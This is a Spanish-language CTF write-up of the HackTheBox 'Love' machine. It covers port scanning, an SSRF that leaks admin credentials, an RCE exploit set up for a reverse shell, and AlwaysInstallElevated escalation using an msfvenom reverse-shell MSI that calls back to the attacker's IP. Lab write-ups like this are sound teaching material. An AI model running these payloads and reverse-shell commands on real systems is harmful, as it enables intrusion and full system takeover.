Love - HackTheBox
Estamos ante una máquina Windows nivel Easy en la que encontraremos credenciales, tendremos que explotar RCE y jugar un poco con registros y msfvenom... 🙈
Reconocimiento
Reconocimiento de Puertos
El escaneo nmap nos reporta la siguiente información.
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
3306/tcp open mysql
5000/tcp open upnp
5040/tcp open unknown
5985/tcp open wsman
5986/tcp open wsmans
7680/tcp open pando-pub
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
A través de la función extractPorts de s4vitar copiaré rápidamente los puertos para el posterior escaneo.
❱ extractPorts scan1
[*] Extracting information...
[*] IP Address: 10.10.10.239
[*] Open ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,49664,49666,49667,49668,49669,49670
[*] Ports copied to clipboard
Os dejo por aquí la función extractPorts que debéis añadir en vuestro archivo .zshrc o .bashrc
Y realizamos el segundo escaneo, un escaneo mucho más detallado con los servicios en ejecución y demás información.
Que nos reporta la siguiente información:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/htApache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)tp Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.2' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-09-12T12:22:53+00:00; +21m33s from scanner time.
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
SF-Port3306-TCP:V=7.92%I=7%D=9/12%Time=631F1EDB%P=x86_64-pc-linux-gnu%r(NU
SF:LL,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.2'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h06m33s, deviation: 3h30m01s, median: 21m32s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-09-12T12:22:38
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-09-12T05:22:34-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
A continuación extraigo la información más relevante del escaneo que es la que usaremos a lo largo del CTF.
PUERTO | SERVICIO | VERSIÓN |
80 | HTTP | Apache httpd 2.4.46 OpenSSL/1.1.1J PHP/7.3.27 |
43 | HTTPS | Apache httpd 2.4.46 OpenSSL/1.1.1j PHP/7.3.27 |
445 | SMB | microsoft-ds Windows 10 Pro 19042 |
5000 | HTTP | Apache httpd 2.4.46 OpenSSL/1.1.1j PHP/7.3.27 |
Y también he encontrado lo siguiente:
Un vhost --> staging.love.htb
Lo añadimos al archivo hosts de nuestra máquina atacante y proseguimos.
Enumeración Web
Tras mirar el vhost love.htb no veo nada interesante más que un login y poco más.
Pruebo credenciales por defecto y me arroja el mensaje "**Cannot find voter with the ID"
Pero pruebo a buscar exploits para este servicio "Voting System"
Explotación
Como vemos hay uno que no requiere de credenciales pero lo pruebo y finalmente si me pide credenciales, así que debemos obtener credenciales...
Me dirijo a visitar el otro vhost que encontramos en el escaneo nmap.
Estamos ante una web que su función es escanear archivos en busca de malware.
Si nos dirigimos al apartado "Demo", tenemos un campo donde podemos introducir una url o archivo para escanear.
Pruebo a intentar establecer una conexión con netcat de la siguiente forma para ver si logramos cierta comunicación.
❯ sudo netcat -lnvp 80
[sudo] password for elc4br4:
listening on [any] 80 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.239] 55752
GET / HTTP/1.1
Host: 10.10.14.2
Accept: */*
Tenemos respuesta pero es no es suficiente...
Pruebo a ver que rutas tenemos en el servidor web y a cuáles tenemos acceso.
Tras el escaneo de rutas descubro ciertas carpetas y archivos y se me ocurre probar algo...
Podríamos escanear algunos de los archivos internos del servidor web, por ejemplo el index...?
Como vemos ha interpretado el archivo index.php...
Además de eso he recordado que teníamos en el puerto 5000 otro servidor web, intento acceder pero me arroja el siguiente mensaje:
You don't have permission to acces this resource
¿Y si probamos a acceder al mismo a través del escaner de archivos? Ya que hemos visto que interpreta el lenguaje PHP...
Probamos... y ... BINGOOO!!!!
Tenemos unas credenciales!!!
\> Vote Admin Creds --> admin:@LoveIsInTheAir!!!!
Podríamos intentar loguearnos en el panel del primer dominio... "love.htb"
Pero antes de nada recuerdo que anteriormente encontramos varios exploits para obtener RCE (Remote Code Execution), asique procedo a descargar el exploit.
Tuve un problema con el exploit, y tuve que editarlo.
# --- Edit your settings here ----
IP = "www.love.htb" # Website's URL
USERNAME = "admin" #Auth username
PASSWORD = "@LoveIsInTheAir!!!!" # Auth Password
REV_IP = "10.10.14.2" # Reverse shell IP
REV_PORT = "4444" # Reverse port
# --------------------------------
INDEX_PAGE = f"http://{IP}/admin/index.php"
LOGIN_URL = f"http://{IP}/admin/login.php"
VOTE_URL = f"http://{IP}/admin/voters_add.php"
CALL_SHELL = f"http://{IP}/images/shell.php"
Ejecutamos netcat en el puerto configurado y lanzamos el exploit, también podría realizarse manualmente mediante la subida al servidor de una imagen a través del panel web.
Una vez dentro ya podremos leer el archivo user.txt.
Escalada de Privilegios
Una vez obtenemos acceso al sistema, estamos logueados como el usuario phoebe.
C:\xampp\htdocs\omrs\images>whoami
whoami
love\phoebe
Para escalar uso diferentes técnicas de enumeración...
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Existen diferentes métodos, yo mostraré uno usando msfconsole
1. Creamos un archivo msi con msfconsole
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.2 lport=1234 -f msi -o rev.msi
Lo subimos a la carpeta C:\Adminstration con ayuda del servidor de python
Y lo ejecutamos tras poner el netcat en escucha en el puerto configurado.
❯ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.239] 58212
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>whoami
whoami
nt authority\system
Subscribe to my newsletter
Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
elc4br4
elc4br4
Cybersecurity Student